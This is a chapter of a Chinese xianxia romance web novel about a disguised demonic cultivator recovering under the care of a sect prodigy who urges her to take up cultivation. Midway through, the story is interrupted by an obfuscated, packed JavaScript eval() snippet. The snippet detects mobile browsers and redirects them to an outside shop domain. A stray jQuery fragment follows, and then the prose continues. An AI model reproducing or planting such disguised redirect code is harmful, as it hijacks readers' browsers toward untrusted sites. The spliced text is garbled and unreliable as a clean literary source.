虽说宋忍冬准备的药苦得惊人,但效果也确实好,不过几日的功夫,花满月不仅外伤全好了,还能下地走动了。

    虽然她的下地走动,仅限于在小屋的院子里,范围也不过是从左走到右,又从右走到左,从屋子里到院子里,再从院子里回到屋子里。

    花满月走了几个来回后,终于想明白为何会有一种熟悉的感觉了。

    她这个行为,不就和动物园里的那些动物一模一样吗?原来只要是被关在一个小地方,不管是人还是动物,出现来回走这种刻板行为,也只是时间长短问题。

    还好她出不去,外面的人还是能进来的,尤其是封尘,每日过来的时长,比宋忍冬这个医治她的人都久。

    不过好在,封尘如今还算知情识趣,自那日给她悄无声息地送了小零嘴过来之后,像忽然开窍了一般,每日过来的时候,总会带着不同的东西过来。

    有时是些能过嘴瘾的小零嘴,有时是一些给她打发时间的杂书。那些书单单瞧着封面,花满月都能分辨出来,哪些是封尘自己挑的,哪些是经人推荐后买下来的。

    并且那些经人推荐而购买的,花满月猜封尘甚至都没打开来看过其中的内容,估计一被倾情推荐,就直接买了下来。然后就这样原模原样地带过来,一沓书一起交到她手中。

    证据就是,有好几本书,花满月翻开后,发现规规矩矩正正经经的封皮之下,竟还有第二张封皮——显然外头的封皮是掩人耳目用的,里头这张才是真正的本体。

    翻到第二张封皮的时候,花满月就知道这书绝对正经不到哪里去了。

    毕竟一本书,如果封皮正经,那内容有八成的几率正经。但如果它从封皮就非常的不正经,那么书里内容正经的可能性……

    花满月只能说并不为零,但大概率是不正经的。

    至少她看的这几本都是如此,用词再文雅也遮盖不住情节的大胆,配图画工再了得也掩盖不了内容的奔放。

    如果花满月是正儿八经的古代凡人女子,现在应该是丢开书不肯再看,或者面红耳赤遮遮掩掩。

    但花满月是见过大世面的,她不仅看得坦然自若,面不改色地当着封尘的面翻看,神情还维持得异常稳定。

    封尘在院子里练剑,她就坐在树下的石凳上,用一副在研读诗集的端庄神情,聚精会神地看着这些书。

    封尘的目光偶尔落在她身上,花满月还能抽出空来,抬眼对上他的目光,轻轻勾着嘴角,露出一个温柔笑容。

    有时看书看得累了,花满月便会放下书,抬头欣赏一番练剑的封尘。

    不得不说,封尘真是她见过的所有人里,皮相最完美的一个,再加上这个翩若惊鸿,矫若游龙的剑法身姿……

    花满月有点好奇,这个修仙世界有没有传说中的合欢宗?

    她仔细回忆了一番,剧情里似乎并未提及这么一个宗门,那应当是没有的。不然也不会让她一个魔修,单枪匹马去抢人做炉鼎了。

    “可是累了?”封尘不知何时走到了她的面前,低头端详她的脸色,眼里露出了几分忧色,“你身体方才好些,若是累了,便不要勉强。”

    花满月今日才吃了一副药,正精神奕奕呢,除了嘴里被苦得几乎失去了味觉以外,倒没什么不舒服的地方。

    这时候,她自然是不愿意回去的,赶紧摇摇头,抬起头看着他笑道:“没有不舒服的地方,宋师姐医术高明,我受了那般重的伤,竟能在短短几日内就好了大半。难怪世人都传说,仙人赐下的灵丹妙药能治百病,想来传说果真并非空穴来风。”

    她刻意用轻松的,带着几分玩笑的语气说着话,企图将封尘的重点带跑偏,不要再纠结她的身体情况了。

    这才出来放风半个时辰,她可不想因为自己走了一会神,就被迫回到房间窝着。

    倒也不是她不爱躺着,只是有封尘在跟前,她躺得实在是浑身不自在,还不如在外面待着呢。

    说来说去,都是怪封尘来得太勤快了,每日来这里跟打卡上班一样,准时准点地来,准时准点地走,从无差错。

    他这个玄门宗不世出的天才弟子,难道就没有一点事情要做吗?不能再给他分配点下山降妖除魔的任务吗?这里就没有什么试炼大会,能让这些弟子参加一下吗?

    想到这里,花满月压低了眉眼,忍不住浑身都散发出了淡淡的幽怨。

    封尘自然不知道她的心路历程,只是看到眉眼垂落,隐约露出了几分失落怅惘之色,让他眉头微皱,张口欲问。

    他未出口的话语,在目光落在花满月发间别着的简易发簪时,莫名停顿了片刻,开口问道:“你先前所期愿之事……”

    说到此处,封尘又莫名沉默了下来,叫花满月都有些摸不准他究竟想问跟你,只能安静等待着他的下文。

    谁知等了一会,都没等到他接着说下去,反倒是花满月这个好奇心被勾起来,抓心挠肺的难受。

    眼见着封尘半天不吭声,花满月索性看着他,歪着头一脸疑惑地问道:“你方才说,我先前所期愿的事……”

    说到这里,花满月看着封尘微微蹙起的眉头,忽然福至心灵,想起来之前自己为了婉拒封尘对她的招生,胡编乱造出来的那个理由了。

    这些日子发生太多事情了,若不是封尘提起,她都忘了自己还说过这么一个谎了。

    这实在是不好,自己说过的谎竟忘了,这也就是封尘,若是换做一个疑心重的人来,恐怕她应该掉马了。

    偷偷长吁一口气,花满月暗骂自己真是大意了,连忙打起了精神,准备发动头脑风暴,应对封尘突如其来的询问。

    然而,封尘在沉默良久后,冒出了一句花满月意想不到的话来:“修行并非断情绝爱,亦有修士在修行途中,遇到心心相印之色,与之携手同行。”

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17558468|203120||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    花满月眨了两下眼睛,觉得此时自己的心情若是能具象化,那一定会具象成一个巨大的问号。

    因为她着实没能明白,封尘这忽然冒出来这一句话,究竟是想到了什么。

    难不成,是还想劝她放下凡俗的一切,踏上修仙之途,加入玄门宗,一起追寻登仙大道?

    花满月将封尘的话,结合着他的神情,仔细琢磨了一番,越想越觉得自己摸到了真相。

    他肯定是觉得自己是个恋爱脑,认为修仙就要断情绝爱,不能寻一个有情人双宿双栖了。

    所以他为了劝自己修行,左思右想,这才想出来这个应对之法?跟她说修行了一样可以谈情说爱?

    花满月觉得此事多少有点荒唐,但放到此情此景,在他们两个人身上,又诡异的能称得上一句合理。

    若她是真的凡人,肯定不会太过于犹豫,能活成长生种,她肯定不愿意当一个朝生暮死脆弱的蜉蝣。

    至于长生种好还是短生种好,那都是两边都体验过,当了长生种才能判断出来的事情。

    然而问题都不在这里,而是,她本身就已经是修士了,怎么能入第二次门,再引气入体第二次?

    正邪同体这事,她也就小说里看过,放在自己身上那真是想都不敢想。这个行为和天天抱着煤气罐,床头点着明火香薰蜡烛睡觉有什么区别?

    不过封尘却是不知道她此时的想法,只是看着她神情恍惚,默然片刻,又接着说道:“我虽能救你,也能给予你防身之物,但这些却并非每一回都能救下你。就像天罗老鬼那回,若是他防住了那些符箓,你可知你会面临什么?”

    花满月想说,你对自己的符箓还是太谦虚了,宋忍冬可都说了,一般修士的符箓会留一手,多设置一个环节,削减杀伤力提高控制,这样就不会伤害到释放者本身。

    可封尘这人画的符箓,根本不在乎这些,仗着自己猛,画的符箓也突出一个杀伤力大。用不好就跟她之前那回一样,真是大水冲了龙王庙。

    “修士修行,也并非都为了登仙,也有不少人与你一般,体质特殊,为了不连累亲人,也是为了自保。”封尘见她眼神微动,以为是说动了她,当即便缓缓蹲下身,单膝半跪在她面前,微微仰起头,缓声劝说。

    花满月低下头,便被这个画面冲击了一下眼睛和心神,好不容易才稳住,逼迫自己冷静下来,没有被冲昏头脑。

    封尘平静地看着她,目光在她攥紧书册的手指上停留一瞬,眉眼蓦地更温和了一些,声音也放缓了许多,说道:“先前紫星长老检查过你的体质和根骨,说你确实有修行的天赋,若是只做一个凡人,实在浪费了这身天赋。”

    好一套组合拳,真是动之以情,晓之以理,诱之以色……

    不对!

    花满月掐紧了指尖,用细微的疼痛让自己被弄得纷乱的头脑,变得清晰冷静了些,然后开始思考应对之策。